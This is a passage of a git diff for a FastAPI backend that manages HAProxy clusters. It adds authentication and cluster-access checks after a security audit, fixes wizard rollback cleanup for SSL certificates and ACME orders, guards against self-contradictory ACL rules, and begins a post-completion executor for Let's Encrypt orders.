+4889,21 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade try: from auth_middleware import get_current_user_from_token current_user = await get_current_user_from_token(authorization) - + conn = await get_database_connection() - + # Check if cluster exists cluster = await conn.fetchrow("SELECT id, name FROM haproxy_clusters WHERE id = $1", cluster_id) if not cluster: await close_database_connection(conn) raise HTTPException(status_code=404, detail=f"Cluster {cluster_id} not found") - + + # Bulgu #79 — validate cluster access (admins bypass). + await validate_user_cluster_access(current_user['id'], cluster_id, conn) + # Get all pending config versions for this cluster (CRITICAL: Include metadata for rollback!) pending_versions = await conn.fetch(""" - SELECT id, version_name, metadata FROM config_versions + SELECT id, version_name, metadata FROM config_versions WHERE cluster_id = $1 AND status = 'PENDING' """, cluster_id) @@ -4653,9 +5064,31 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade # Check for bulk snapshots (bulk import, restore) bulk_snapshots = metadata.get('bulk_snapshots', []) if bulk_snapshots: - # Bulk entity rollback - logger.info(f"REJECT ROLLBACK: Processing bulk snapshot with {len(bulk_snapshots)} entities") - for snapshot_wrapper in bulk_snapshots: + # R18c audit fix (round 1 #6): walk bulk snapshots + # in REVERSE creation order. The wizard appends in + # the order backend → servers → ssl_certificate + # → HTTP frontend → HTTPS frontend (which + # references the cert via `ssl_certificate_id` / + # `ssl_certificate_ids`). Pre-fix the rollback + # walked forward and tried to DELETE the cert + # BEFORE the frontend that referenced it. With + # deployments that have an FK on + # `frontends.ssl_certificate_id` (added in + # ensure_frontends_ssl_columns over time), the + # cert delete fired a FK violation and the + # rollback aborted, leaving the wizard's HTTPS + # frontend stranded as a CREATE without a + # rollback peer. Reversing the iteration restores + # the natural delete order (children before + # parents) so a strict FK schema rolls back + # cleanly. For deployments without the FK the + # change is a behaviour-preserving no-op. + snapshot_iter = list(reversed(bulk_snapshots)) + logger.info( + f"REJECT ROLLBACK: Processing bulk snapshot with " + f"{len(bulk_snapshots)} entities (reverse-order)" + ) + for snapshot_wrapper in snapshot_iter: entity_snap = snapshot_wrapper.get('entity_snapshot') if entity_snap: # SSL entity rollback in bulk: Always rollback (Auto-Reject handles cross-cluster) @@ -4712,13 +5145,33 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade be_ids = [] srv_ids = [] ssl_ids = [] - bulk_import_entity_ids = {"frontends": [], "backends": [], "servers": []} + bulk_import_entity_ids = { + "frontends": [], + "backends": [], + "servers": [], + "letsencrypt_orders": [], + # R18 audit fix: wizard upload-mode hosts create a NEW + # ssl_certificates row and add a snapshot for it. Pre-R18 + # this list omitted ssl_certificate, so reject left an + # orphan SSL row + PEM material on disk while the + # frontend/backend got cleaned up. Symmetrical handling + # is required for atomic wizard rollback. + "ssl_certificates": [], + } import re for v in pending_versions: # CRITICAL FIX: Detect bulk import versions (bulk-import-*, restore-*) + # v1.5.0: also covers wizard-created versions: + # * bulk-site-create-* — current naming (post-rename) + # * bulk-proxied-host-create-* — legacy naming (pre-rename), + # kept so historical APPLIED + # versions still reject cleanly + # M4/L11. is_bulk_version = ( - v['version_name'].startswith('bulk-import-') or - v['version_name'].startswith('restore-') + v['version_name'].startswith('bulk-import-') or + v['version_name'].startswith('restore-') or + v['version_name'].startswith('bulk-site-create-') or + v['version_name'].startswith('bulk-proxied-host-create-') ) if is_bulk_version: @@ -4746,6 +5199,20 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade bulk_import_entity_ids["backends"].append(entity_id) elif entity_type == "server": bulk_import_entity_ids["servers"].append(entity_id) + elif entity_type == "letsencrypt_order": + # v1.5.0: wizard's staged ACME order for the new + # site. Reject path must clean it up so the user + # is not left with a dangling wizard_staged + # order pointing at a frontend that no longer + # exists. (R43/M27) + bulk_import_entity_ids["letsencrypt_orders"].append(entity_id) + elif entity_type == "ssl_certificate": + # R18 audit fix: track for force-delete + # parity with frontends/backends/servers. + # Without this the wizard's upload-mode + # cert row is left orphaned after a + # rejected wizard PENDING version. + bulk_import_entity_ids["ssl_certificates"].append(entity_id) else: # Normal entity-specific version (frontend-5-update, backend-3-create, etc.) m1 = re.search(r'^frontend-(\d+)-', v['version_name']) @@ -4823,7 +5290,13 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade rejected_count += total_auto_rejected # CRITICAL FIX: Verify bulk import entities were properly rolled back (deleted) - if bulk_import_entity_ids["frontends"] or bulk_import_entity_ids["backends"] or bulk_import_entity_ids["servers"]: + if ( + bulk_import_entity_ids["frontends"] + or bulk_import_entity_ids["backends"] + or bulk_import_entity_ids["servers"] + or bulk_import_entity_ids["letsencrypt_orders"] + or bulk_import_entity_ids["ssl_certificates"] + ): # Check if bulk import entities still exist (rollback failed) remaining_fe = await conn.fetchval(""" SELECT COUNT(*) FROM frontends @@ -4839,15 +5312,38 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade SELECT COUNT(*) FROM backend_servers WHERE id = ANY($1) AND cluster_id = $2 """, bulk_import_entity_ids["servers"], cluster_id) if bulk_import_entity_ids["servers"] else 0 - - total_remaining = remaining_fe + remaining_be + remaining_srv + + # v1.5.0 wizard staged ACME orders are NOT cluster-scoped via cluster_id + # column (cluster_ids JSONB). Their pre_apply_snapshot does the + # rollback only via metadata. So we treat any matching id-by-id + # row that still exists as "remaining" and force delete. + remaining_acme = await conn.fetchval(""" + SELECT COUNT(*) FROM letsencrypt_orders + WHERE id = ANY($1) + """, bulk_import_entity_ids["letsencrypt_orders"]) if bulk_import_entity_ids["letsencrypt_orders"] else 0 + + # R18 audit fix: ssl_certificates rows created by the + # wizard's upload-mode flow. These are global (not + # cluster-scoped via the cluster_id column directly — + # the join lives in ssl_certificate_clusters), so we + # match by id only. + remaining_ssl = await conn.fetchval(""" + SELECT COUNT(*) FROM ssl_certificates + WHERE id = ANY($1) + """, bulk_import_entity_ids["ssl_certificates"]) if bulk_import_entity_ids["ssl_certificates"] else 0 + + total_remaining = ( + remaining_fe + remaining_be + remaining_srv + + remaining_acme + remaining_ssl + ) if total_remaining > 0: # CRITICAL: Bulk import entities were NOT deleted by rollback! # This is a data corruption - entities should have been deleted logger.error( f"REJECT ROLLBACK FAILED: {total_remaining} bulk import entities still exist " - f"(fe={remaining_fe}, be={remaining_be}, srv={remaining_srv}). " + f"(fe={remaining_fe}, be={remaining_be}, srv={remaining_srv}, " + f"acme={remaining_acme}). " f"Expected 0 after rollback DELETE. This indicates rollback failure." ) @@ -4873,9 +5369,42 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade WHERE id = ANY($1) AND cluster_id = $2 """, bulk_import_entity_ids["servers"], cluster_id) logger.warning(f"REJECT CLEANUP: Force deleted {deleted_srv} orphan servers from failed bulk import") + + # v1.5.0 (R43/M27): wizard-staged ACME orders. Cascade + # also removes acme_challenges (ON DELETE CASCADE). + if bulk_import_entity_ids["letsencrypt_orders"]: + deleted_acme = await conn.execute(""" + DELETE FROM letsencrypt_orders + WHERE id = ANY($1) + """, bulk_import_entity_ids["letsencrypt_orders"]) + logger.warning( + f"REJECT CLEANUP: Force deleted {deleted_acme} wizard-staged " + f"letsencrypt_orders from failed bulk import" + ) + + # R18 audit fix: wizard upload-mode ssl_certificates + # rows. ON DELETE CASCADE on ssl_certificate_clusters + # cleans the junction; auto_renew=FALSE was already + # applied above for safety. + if bulk_import_entity_ids["ssl_certificates"]: + deleted_ssl = await conn.execute(""" + DELETE FROM ssl_certificates + WHERE id = ANY($1) + """, bulk_import_entity_ids["ssl_certificates"]) + logger.warning( + f"REJECT CLEANUP: Force deleted {deleted_ssl} wizard " + f"ssl_certificates from failed bulk import" + ) else: + total_tracked = ( + len(bulk_import_entity_ids["frontends"]) + + len(bulk_import_entity_ids["backends"]) + + len(bulk_import_entity_ids["servers"]) + + len(bulk_import_entity_ids["letsencrypt_orders"]) + + len(bulk_import_entity_ids["ssl_certificates"]) + ) logger.info( - f"REJECT ROLLBACK SUCCESS: All {len(bulk_import_entity_ids['frontends']) + len(bulk_import_entity_ids['backends']) + len(bulk_import_entity_ids['servers'])} " + f"REJECT ROLLBACK SUCCESS: All {total_tracked} " f"bulk import entities were properly deleted" ) @@ -4901,7 +5430,10 @@ async def reject_all_pending_changes(cluster_id: int, authorization: str = Heade # ADDITIONAL SAFETY: Check if we just rejected bulk import versions # If yes, DO NOT run final cleanup (bulk entities should already be deleted) has_bulk_versions = any( - v['version_name'].startswith('bulk-import-') or v['version_name'].startswith('restore-') + v['version_name'].startswith('bulk-import-') + or v['version_name'].startswith('restore-') + or v['version_name'].startswith('bulk-site-create-') # v1.5.0 (current naming) + or v['version_name'].startswith('bulk-proxied-host-create-') # v1.5.0 legacy for v in pending_versions ) diff --git a/backend/routers/config.py b/backend/routers/config.py index 99d482b..a833612 100644 --- a/backend/routers/config.py +++ b/backend/routers/config.py @@ -369,11 +369,28 @@ async def get_best_practices( async def compare_configurations( current_config: str, new_config: str, - context_lines: int = 3 + context_lines: int = 3, + authorization: str = Header(None), ): - """Compare two HAProxy configurations and show differences""" - + """Compare two HAProxy configurations and show differences. + + Bulgu #78 (round-22 audit) — pre-fix this endpoint accepted + unauthenticated POSTs with two arbitrary config blobs. + While the diff itself is stateless, exposing it without + authn: + * lets anyone burn CPU on an internal endpoint + * leaks the EXISTENCE of the diff endpoint to scanners + * permits drive-by use as a side-channel oracle if the + difflib output ever surfaces operator-specific data + (line numbers, comments, etc.) + Require a valid bearer token. Permission gating is + deliberately light — any authenticated viewer should still + be able to diff configs they're authorised to read. + """ try: + from auth_middleware import get_current_user_from_token + await get_current_user_from_token(authorization) + import difflib current_lines = current_config.splitlines(keepends=True) @@ -735,7 +752,20 @@ async def parse_bulk_config( cluster_id=request.cluster_id, config_size=len(request.config_content) ) - + + # Bulgu #82 (round-22 audit) — pre-fix this endpoint had + # `config.write` permission but NO per-cluster access + # check. The downstream `SELECT ... FROM + # ssl_certificates WHERE ... cluster_id=$1` leaked + # certificate names and IDs from clusters the operator + # had no read access to, and the parse result was + # designed to feed `bulk_create_entities` (also un- + # scoped pre-fix, see same Bulgu) which then wrote + # into the target cluster. + if request.cluster_id and not is_super_admin: + from routers.backend import validate_user_cluster_access + await validate_user_cluster_access(current_user['id'], request.cluster_id, conn) + # Parse the configuration parse_result = parse_haproxy_config(request.config_content) @@ -1440,8 +1470,17 @@ async def bulk_create_entities( frontends_count=len(request.frontends), backends_count=len(request.backends) ) - + conn = await get_database_connection() + + # Bulgu #82 (round-22 audit) — see `parse_bulk_config` + # above. The write path was the more damaging side of + # the same hole: a `config.write`-bearing operator + # scoped to cluster 1 could bulk-import an entire + # parsed config into cluster 2. + if request.cluster_id and not is_super_admin: + from routers.backend import validate_user_cluster_access + await validate_user_cluster_access(current_user['id'], request.cluster_id, conn) # BULK IMPORT MVP: Check for pending apply changes # Prevent bulk import if there are unapplied changes (conflict prevention) @@ -2191,7 +2230,12 @@ async def bulk_create_entities( frontend_data.get("ssl_port"), frontend_data.get("ssl_cert_path"), frontend_data.get("ssl_cert"), - frontend_data.get("ssl_verify", "optional"), + # R18b audit fix: bulk-import default mirrors + # the model default. NULL == "omit verify + # directive". Pre-fix imported configs that + # lacked the field silently turned every HTTPS + # bind into `verify optional`. + frontend_data.get("ssl_verify"), frontend_data.get("ssl_alpn"), # SSL advanced options frontend_data.get("ssl_npn"), frontend_data.get("ssl_ciphers"), diff --git a/backend/routers/configuration.py b/backend/routers/configuration.py index 53ba3f7..ee17a95 100644 --- a/backend/routers/configuration.py +++ b/backend/routers/configuration.py @@ -263,12 +263,18 @@ async def submit_config_response( Agent submits the haproxy.cfg content in response to a request. """ try: - # Validate agent API key + # Bulgu #75 (round-22 audit) — same auth-bypass fix as in + # `routers/agent.py`. Pre-fix the `if x_api_key and not + # agent_auth` short-circuited when no header was sent at + # all, letting an unauthenticated caller post arbitrary + # HAProxy-config content claiming to come from an agent. agent_auth = await validate_agent_api_key(x_api_key) - - if x_api_key and not agent_auth: - logger.warning(f"Invalid API key provided by agent '{agent_name}' for config response") - raise HTTPException(status_code=401, detail="Invalid API key") + if not agent_auth: + logger.warning( + f"Rejected config-response call for agent {agent_name!r}: " + f"missing or invalid x-api-key" + ) + raise HTTPException(status_code=401, detail="Invalid or missing API key") conn = await get_database_connection() @@ -322,12 +328,28 @@ async def submit_config_response( # ====== CLEANUP ENDPOINT ====== @router.delete("/cleanup-expired") -async def cleanup_expired_requests(): +async def cleanup_expired_requests(authorization: str = Header(None)): """ Cleanup expired config requests and responses. Called by scheduled job or manually. + + Bulgu #78 (round-22 audit) — pre-fix this endpoint had NO + auth at all. Any unauthenticated caller could DROP rows + from `agent_config_requests` / `agent_config_responses`, + which directly drives the cluster's "what did the operator + ask the agent to fetch" history. Restrict to admin users — + legitimate callers are an internal scheduled job (which + can supply an admin bearer) or a human admin pressing + Maintenance → Cleanup in the UI. """ try: + from auth_middleware import get_current_user_from_token + current_user = await get_current_user_from_token(authorization) + if not current_user.get("is_admin", False): + raise HTTPException( + status_code=403, + detail="Only admin users can run cleanup-expired" + ) conn = await get_database_connection() # Delete expired responses diff --git a/backend/routers/frontend.py b/backend/routers/frontend.py index 2290212..d022455 100644 --- a/backend/routers/frontend.py +++ b/backend/routers/frontend.py @@ -1,11 +1,13 @@ from fastapi import APIRouter, HTTPException, Request, Header -from typing import Optional +from typing import Any, List, Optional, Tuple import logging +import re import time import hashlib import json from models import FrontendConfig +from models.frontend import _frontend_has_acl_contradiction from database.connection import get_database_connection, close_database_connection from utils.activity_log import log_user_activity from services.haproxy_config import generate_haproxy_config_for_cluster @@ -13,6 +15,205 @@ from services.haproxy_config import generate_haproxy_config_for_cluster router = APIRouter(prefix="/api/frontends", tags=["frontends"]) logger = logging.getLogger(__name__) + +# Bulgu #62 (round-22 audit) — handler-level enforcement of the +# `X !X` self-contradiction guard. Pre-fix this check lived inside +# the `FrontendConfig` Pydantic validators (Bulgu #13) and ran on +# EVERY operation — including UPDATE. Frontends created before the +# guard landed could carry stale contradictory rules (or were +# inserted via a pre-Bulgu-#13 wizard build). After the guard +# landed those frontends became unupdate-able from the +# FrontendManagement UI: the operator opened the Edit modal to +# change an unrelated field (port, max conn, default_backend), the +# UI re-sent the full rule list verbatim, the model validator hit +# the legacy `X !X` rule, and Save 400-ed with a contradiction +# error the operator had not authored. +# +# The handler-level helpers below restore the strict POST behaviour +# and let PUT GRANDFATHER rules that are unchanged from the existing +# DB row: new or modified contradictions still hard-reject (400), +# stale ones only emit a warning so the operator can fix at their +# own pace without being locked out of unrelated edits. + + +_NORMALISE_RULE_PREFIX_RE = re.compile( + r"^\s*(?:use_backend|redirect)\s+", re.IGNORECASE, +) +_NORMALISE_RULE_WS_RE = re.compile(r"\s+") + + +def _normalize_rule_string(s: str) -> str: + """Bulgu #62 follow-up (round-22 hot-fix) — collapse whitespace + and strip the `use_backend ` / `redirect ` directive prefix so + a rule that round-trips through the FE's ACLRuleBuilder (which + parses the rule into a structured object and re-serialises + without the prefix) signs to the same value as the version + still sitting in the DB. + + Without this normalisation the grandfathering check on UPDATE + silently fails: every PUT looks like a NEW rule even when the + operator hasn't touched the routing section. Mirrors the JS + `normalizeRuleString` helper in + `frontend/src/components/FrontendManagement.js`. + """ + if not isinstance(s, str): + return "" + stripped = _NORMALISE_RULE_PREFIX_RE.sub("", s, count=1) + return _NORMALISE_RULE_WS_RE.sub(" ", stripped).strip() + + +def _rule_to_signature(rule: Any) -> Optional[str]: + """Reduce a redirect/use_backend/acl rule entry to a stable string + key used for grandfathered-vs-new comparison. + + `acl_rules` and `use_backend_rules` are always strings. The + wizard's auto-generated HTTP→HTTPS redirect lives in + `redirect_rules` as a dict (`{type, scheme, code, condition, + ...}`). For dicts we use `json.dumps(..., sort_keys=True)` so + semantically equal dicts collapse to the same key regardless of + Python's insertion-order. + + Strings are normalised via `_normalize_rule_string` so a rule + that round-trips through the FE (where the ACLRuleBuilder + strips the `use_backend ` / `redirect ` prefix on serialise) + still matches the version stored in the DB. + """ + if isinstance(rule, str): + normalised = _normalize_rule_string(rule) + return f"str::{normalised}" if normalised else None + if isinstance(rule, dict): + try: + return "dict::" + json.dumps(rule, sort_keys=True, default=str) + except (TypeError, ValueError): + return None + return None + + +def _decode_db_rules_jsonb(raw) -> List[Any]: + """JSONB column → Python list (handles str/list/None).""" + if not raw: + return [] + if isinstance(raw, str): + try: + decoded = json.loads(raw) + except (json.JSONDecodeError, ValueError): + return [] + else: + decoded = raw + return decoded if isinstance(decoded, list) else [] + + +def _rule_contradiction_text(rule: Any) -> Optional[str]: + """Return the string used to evaluate the `X !X` contradiction + for a given rule entry. Strings are checked directly; for + dict-shaped redirect rules the `condition` / `if` field is the + relevant text. Returns None for entries that have no + contradiction-relevant payload.""" + if isinstance(rule, str): + return rule + if isinstance(rule, dict): + cond = rule.get("condition") or rule.get("if") + return cond if isinstance(cond, str) else None + return None + + +def _collect_routing_rule_contradictions( + rules: List[Any], origin_label: str, +) -> List[Tuple[str, Any]]: + """Return `[(origin_label, offending_rule), ...]` for every entry + in `rules` whose contradiction text triggers + `_frontend_has_acl_contradiction`.""" + out: List[Tuple[str, Any]] = [] + for r in rules or []: + txt = _rule_contradiction_text(r) + if txt and _frontend_has_acl_contradiction(txt): + out.append((origin_label, r)) + return out + + +def _format_contradiction_error( + conflicts: List[Tuple[str, Any]], +) -> str: + """Build the human-facing 400 message listing every conflicting + rule. Used by both the POST handler (strict) and the PUT + handler (only for new/modified rules).""" + lines = [ + "One or more routing / redirect rules contain the same " + "ACL in both positive AND negated form (e.g. " + "`if acl1 !acl1`). HAProxy accepts the syntax but " + "`X AND NOT X` is always false, so the rule never fires " + "and traffic silently falls through to `default_backend`. " + "Remove one of the two tokens before saving." + ] + for label, rule in conflicts[:10]: + snippet = rule if isinstance(rule, str) else _rule_to_signature(rule) + if snippet and len(snippet) > 160: + snippet = snippet[:157] + "..." + lines.append(f" - {label}: {snippet}") + if len(conflicts) > 10: + lines.append(f" (+{len(conflicts) - 10} more)") + return "\n".join(lines) + + +def _enforce_routing_rule_contradictions( + frontend: FrontendConfig, + *, + grandfathered_signatures: Optional[set] = None, +) -> List[str]: + """Walk `use_backend_rules` and `redirect_rules` on the payload, + collect any `X !X` self-contradictions, and: + + * raise HTTPException(400) when the conflicting rule is NEW or + MODIFIED relative to `grandfathered_signatures` (or whenever + the caller passes `grandfathered_signatures=None`, meaning + strict mode for POST), OR + * return them as a list of warning strings when the rule + already existed verbatim in the DB row (UPDATE + grandfathering). + + `grandfathered_signatures` is the union of `_rule_to_signature` + outputs for the existing DB row's `use_backend_rules` and + `redirect_rules` columns. Passing `None` means "treat every + contradiction as new" (POST / strict path). + """ + use_be = frontend.use_backend_rules or [] + redirect = frontend.redirect_rules or [] + conflicts = ( + _collect_routing_rule_contradictions(use_be, "use_backend_rules") + + _collect_routing_rule_contradictions(redirect, "redirect_rules") + ) + if not conflicts: + return [] + + if grandfathered_signatures is None: + # POST / strict path — every contradiction blocks. + raise HTTPException( + status_code=400, + detail=_format_contradiction_error(conflicts), + ) + + # PUT / grandfathered path — split into NEW vs UNCHANGED. + blocking: List[Tuple[str, Any]] = [] + warnings: List[str] = [] + for label, rule in conflicts: + sig = _rule_to_signature(rule) + if sig and sig in grandfathered_signatures: + warnings.append( + f"Grandfathered {label} entry contains a " + f"self-contradictory `X !X` condition that pre-dated " + f"this validation. The rule never fires; fix it at " + f"your convenience. (rule: " + f"{rule if isinstance(rule, str) else sig[:160]})" + ) + else: + blocking.append((label, rule)) + if blocking: + raise HTTPException( + status_code=400, + detail=_format_contradiction_error(blocking), + ) + return warnings + def filter_httpchk_from_options(options: Optional[str]) -> Optional[str]: """ Filter out 'option httpchk' directives from options field. @@ -113,7 +314,11 @@ async def validate_user_cluster_access(user_id: int, cluster_id: int, conn): return True @router.get("", summary="Get All Frontends", response_description="List of frontend configurations") -async def get_frontends(cluster_id: Optional[int] = None, include_inactive: bool = False): +async def get_frontends( + cluster_id: Optional[int] = None, + include_inactive: bool = False, + authorization: str = Header(None), +): """ # Get All Frontends @@ -154,6 +359,19 @@ async def get_frontends(cluster_id: Optional[int] = None, include_inactive: bool - HTTP to HTTPS redirection """ try: + # R18c audit fix (round 6 #1 — KRITIK info leak): require + # an authenticated caller. Pre-fix the endpoint accepted + # anonymous GETs and returned the FULL listener layout + # (bind addresses, SSL cert IDs, ACL rules, redirect rules, + # use_backend rules) for every cluster. With wizard-created + # rows now in the table, any unauthenticated reader could + # enumerate the platform's complete frontend inventory. + # The frontend already attaches the JWT via axios defaults, + # so requiring auth is non-breaking; reverse-proxy + # deployments that previously relied on perimeter auth + # gain defense in depth. + from auth_middleware import get_current_user_from_token + await get_current_user_from_token(authorization) conn = await get_database_connection() if cluster_id: @@ -342,7 +560,16 @@ async def get_frontends(cluster_id: Optional[int] = None, include_inactive: bool "ssl_port": f.get("ssl_port"), "ssl_cert_path": f.get("ssl_cert_path"), "ssl_cert": f.get("ssl_cert"), - "ssl_verify": f.get("ssl_verify", "optional"), + # R18b audit fix: return ssl_verify verbatim (None + # stays None). Pre-fix this masked NULL → "optional", + # which the FrontendManagement edit form then sent + # back on save and SILENTLY persisted as "optional" + # — flipping operator intent ("verify clause omitted") + # to ("verify optional"). The HAProxy config + # generator already guards on a sentinel-empty + # value before appending the verify directive, so + # NULL → omitted is the correct round-trip. + "ssl_verify": f.get("ssl_verify"), # CRITICAL FIX: Include SSL advanced options (bind SSL parameters) "ssl_alpn": f.get("ssl_alpn"), "ssl_npn": f.get("ssl_npn"), @@ -405,7 +632,14 @@ async def create_frontend(frontend: FrontendConfig, request: Request, authorizat ) conn = await get_database_connection() - + + # Bulgu #62 (round-22 audit) — strict X !X reject on CREATE. + # No existing row to grandfather against; every contradiction + # blocks. Mirrors the wizard's `_detect_acl_contradiction` + # gate (Bulgu #13) so both create paths reject the same + # shape. + _enforce_routing_rule_contradictions(frontend, grandfathered_signatures=None) + # Validate cluster access for multi-cluster security if frontend.cluster_id: await validate_user_cluster_access(current_user['id'], frontend.cluster_id, conn) @@ -677,7 +911,33 @@ async def update_frontend(frontend_id: int, frontend: FrontendConfig, request: R if not existing: await close_database_connection(conn) raise HTTPException(status_code=404, detail="Frontend not found") - + + # Bulgu #62 (round-22 audit) — UPDATE path: grandfather any + # `use_backend_rules` / `redirect_rules` entry that is + # IDENTICAL to what's already stored in the DB row. Only + # NEW or MODIFIED rules with `X !X` self-contradictions + # block the save. Stale entries (e.g. created by a pre- + # Bulgu-#13 wizard build, or by a direct API caller) emit + # a warning instead so the operator can change unrelated + # fields (port / max conn / default_backend) without first + # having to rewrite legacy routing rules. + grandfathered_signatures: set = set() + for r in _decode_db_rules_jsonb(existing["use_backend_rules"]): + sig = _rule_to_signature(r) + if sig: + grandfathered_signatures.add(sig) + for r in _decode_db_rules_jsonb(existing["redirect_rules"]): + sig = _rule_to_signature(r) + if sig: + grandfathered_signatures.add(sig) + contradiction_warnings = _enforce_routing_rule_contradictions( + frontend, grandfathered_signatures=grandfathered_signatures, + ) + for w in contradiction_warnings: + logger.warning( + f"FRONTEND UPDATE id={frontend_id} name={frontend.name}: {w}" + ) + # Validate cluster access for multi-cluster security cluster_id = existing['cluster_id'] or frontend.cluster_id if cluster_id: @@ -950,10 +1210,18 @@ async def update_frontend(frontend_id: int, frontend: FrontendConfig, request: R user_agent=request.headers.get('user-agent') ) - return { + response: dict = { "message": f"Frontend '{frontend.name}' updated successfully", - "sync_results": sync_results + "sync_results": sync_results, } + # Bulgu #62 (round-22 audit) — surface grandfathered + # contradiction warnings so the UI can render a non-blocking + # yellow toast on the next refresh. The save SUCCEEDED; the + # warnings only flag latent legacy data the operator may + # want to clean up at their convenience. + if contradiction_warnings: + response["warnings"] = contradiction_warnings + return response except HTTPException: raise except Exception as e: diff --git a/backend/routers/letsencrypt.py b/backend/routers/letsencrypt.py index 751c0f9..70dbb17 100644 --- a/backend/routers/letsencrypt.py +++ b/backend/routers/letsencrypt.py @@ -61,10 +61,19 @@ class CertificateRequest(BaseModel): @router.get("/accounts") async def list_accounts(authorization: str = Header(None)): + """v1.5.0 R12: list of LE accounts is now READ-ONLY for any + authenticated user. Account *creation* / deletion remains admin-only. + + The wizard ('New Site' / ACME mode) needs this list so the + user can pick which LE account to bill against when more than one is + configured. Previously the wizard silently dropped the selector + because non-admin users got 403 here (Promise.allSettled swallowed + the failure). + """ from auth_middleware import get_current_user_from_token - current_user = await get_current_user_from_token(authorization) - if not current_user.get('is_admin', False): - raise HTTPException(status_code=403, detail="Admin access required") + # Authentication still required — get_current_user_from_token raises + # 401 if the token is missing/invalid. + await get_current_user_from_token(authorization) conn = await get_database_connection() try: rows = await conn.fetch( @@ -705,11 +714,31 @@ async def _complete_certificate(order_id: int) -> dict: except Exception as parse_err: logger.warning(f"Could not parse ACME certificate metadata: {parse_err}") - existing_cert = await conn.fetchrow(""" - SELECT id FROM ssl_certificates - WHERE primary_domain = $1 AND source = 'letsencrypt' AND is_active = TRUE - ORDER BY created_at DESC LIMIT 1 - """, primary_domain) + # v1.5.0 (Bulgu #4 fix): a wizard-staged order ALWAYS expects a fresh + # cert + post-completion actions to fire. If `post_completion_actions` + # is non-empty we must NOT match against a manually-issued cert that + # happens to share the same primary_domain — that would silently + # swallow the HTTPS frontend creation and leave the wizard host + # broken. + pca_raw_for_match = order.get("post_completion_actions") + try: + _pca_check = ( + json.loads(pca_raw_for_match) + if isinstance(pca_raw_for_match, str) and pca_raw_for_match.strip() + else (pca_raw_for_match or []) + ) + except Exception: + _pca_check = [] + is_wizard_order = bool(_pca_check) + + if is_wizard_order: + existing_cert = None + else: + existing_cert = await conn.fetchrow(""" + SELECT id FROM ssl_certificates + WHERE primary_domain = $1 AND source = 'letsencrypt' AND is_active = TRUE + ORDER BY created_at DESC LIMIT 1 + """, primary_domain) is_renewal = existing_cert is not None @@ -825,6 +854,47 @@ async def _complete_certificate(order_id: int) -> dict: if is_renewal and clusters_succeeded: await _auto_apply_renewal(cert_id, clusters_succeeded) + # ==================================================================== + # v1.5.0 Feature B (Issue #14): post_completion_actions JSONB support. + # + # The wizard staged this order with a deferred HTTPS-frontend create + # request. Now that the cert is downloaded we execute it. + # + # M2 guard: NEVER run on renewal — renewing a wizard-issued cert + # must not re-create the HTTPS frontend. + # M3 cancellation race: re-fetch the order's status before exec. + # M21/R35 collision re-check: re-validate bind_port collision. + # M24 conn reuse: pass our existing transaction conn into record_event. + # M26/R42 atomicity: wrap each action in its own conn.transaction(). + # ==================================================================== + post_completion_outcomes: list = [] + if not is_renewal: + try: + pca_raw = order.get("post_completion_actions") + if isinstance(pca_raw, str) and pca_raw.strip(): + pca = json.loads(pca_raw) + elif isinstance(pca_raw, list): + pca = pca_raw + else: + pca = [] + except Exception: + pca = [] + + if pca: + # M3: re-check status to detect a cancellation race + fresh = await conn.fetchrow( + "SELECT status FROM letsencrypt_orders WHERE id = $1", order_id + ) + if fresh and fresh["status"] == "valid": + post_completion_outcomes = await _execute_post_completion_actions( + conn, order_id, pca, cert_id + ) + else: + logger.info( + f"[ACME] Skipping post_completion_actions for order {order_id}: " + f"status changed to {fresh and fresh['status']}" + ) + msg = "Certificate renewed and applied" if is_renewal else "Certificate issued (pending Apply)" if cluster_errors: msg += f" ({len(cluster_errors)} cluster(s) failed: see cluster_errors)" @@ -835,6 +905,7 @@ async def _complete_certificate(order_id: int) -> dict: "auto_applied": is_renewal, "clusters_succeeded": clusters_succeeded, "cluster_errors": cluster_errors, + "post_completion_outcomes": post_completion_outcomes, } finally: if lock_held: @@ -845,6 +916,405 @@ async def _complete_certificate(order_id: int) -> dict: await close_database_connection(conn) +async def _execute_post_completion_actions( + conn, + order_id: int, + actions: list, + cert_id: int, +) -> list: + """v1.5.0 Feature B: execute the deferred actions stored on a wizard + ACME order's post_completion_actions JSONB. + + Each action is independently wrapped in conn.transaction() (R42/M26), + has its own try/except (per-action errors do NOT block other actions), + and an executed_at idempotency flag. + + Auto-apply is triggered if any executed action set _auto_apply=true on + its frontend_config. + """ + from utils.activity_log import record_event + from services.frontend_service import ( + check_bind_port_collision, + create_frontend_row, + ) + + outcomes = [] + auto_apply_user_ids: set = set() + auto_apply_cluster_ids: set = set() + + for idx, action in enumerate(actions): + if not isinstance(action, dict): + outcomes.append({"index": idx, "status": "skipped", "reason": "not a dict"}) + continue + + if action.get("executed_at"): + outcomes.append({"index": idx, "status": "skipped", "reason": "already executed"}) + continue + + action_type = action.get("type") + try: + async with conn.transaction(): + if action_type == "create_frontend": + fe_cfg = action.get("frontend_config") or {} + cluster_id = fe_cfg.get("cluster_id") + bind_address = fe_cfg.get("bind_address", "*") + bind_port = fe_cfg.get("bind_port", 443) + fe_name = fe_cfg.get("name") or f"fe-{order_id}-https" + + if not cluster_id: + raise ValueError("frontend_config.cluster_id required") + + # Bulgu #52 (round-18 audit) — verify the cluster still + # exists before any further work. + # + # `letsencrypt_orders.cluster_ids` is JSONB (not an FK), + # so an operator can delete a cluster between + # `wizard_staged` and post-completion. With the previous + # code path: + # + # - check_bind_port_collision would find no frontends + # for the missing cluster (returns None — no + # collision) + # - the backend-existence check would correctly flag + # `backend_missing` IF a default_backend was set, + # but actions without `default_backend` (legacy + # payloads, TCP-mode wizard runs) would proceed to + # create_frontend_row pointing at a dead + # cluster_id, then fail with a FK violation that + # surfaces only in the logs. + # + # Catch this upfront with the same shape as the + # `backend_missing` outcome so the operator sees a + # clear "cluster removed — re-run the wizard" message + # in the order's activity log instead of a generic + # FK error. + cluster_row = await conn.fetchrow( + "SELECT id FROM haproxy_clusters " + "WHERE id = $1 AND is_active = TRUE", + cluster_id, + ) + if cluster_row is None: + action["error"] = "cluster_missing" + action["error_detail"] = ( + f"Cluster id={cluster_id} no longer exists " + "(or was deactivated) — the wizard's target " + "cluster was removed 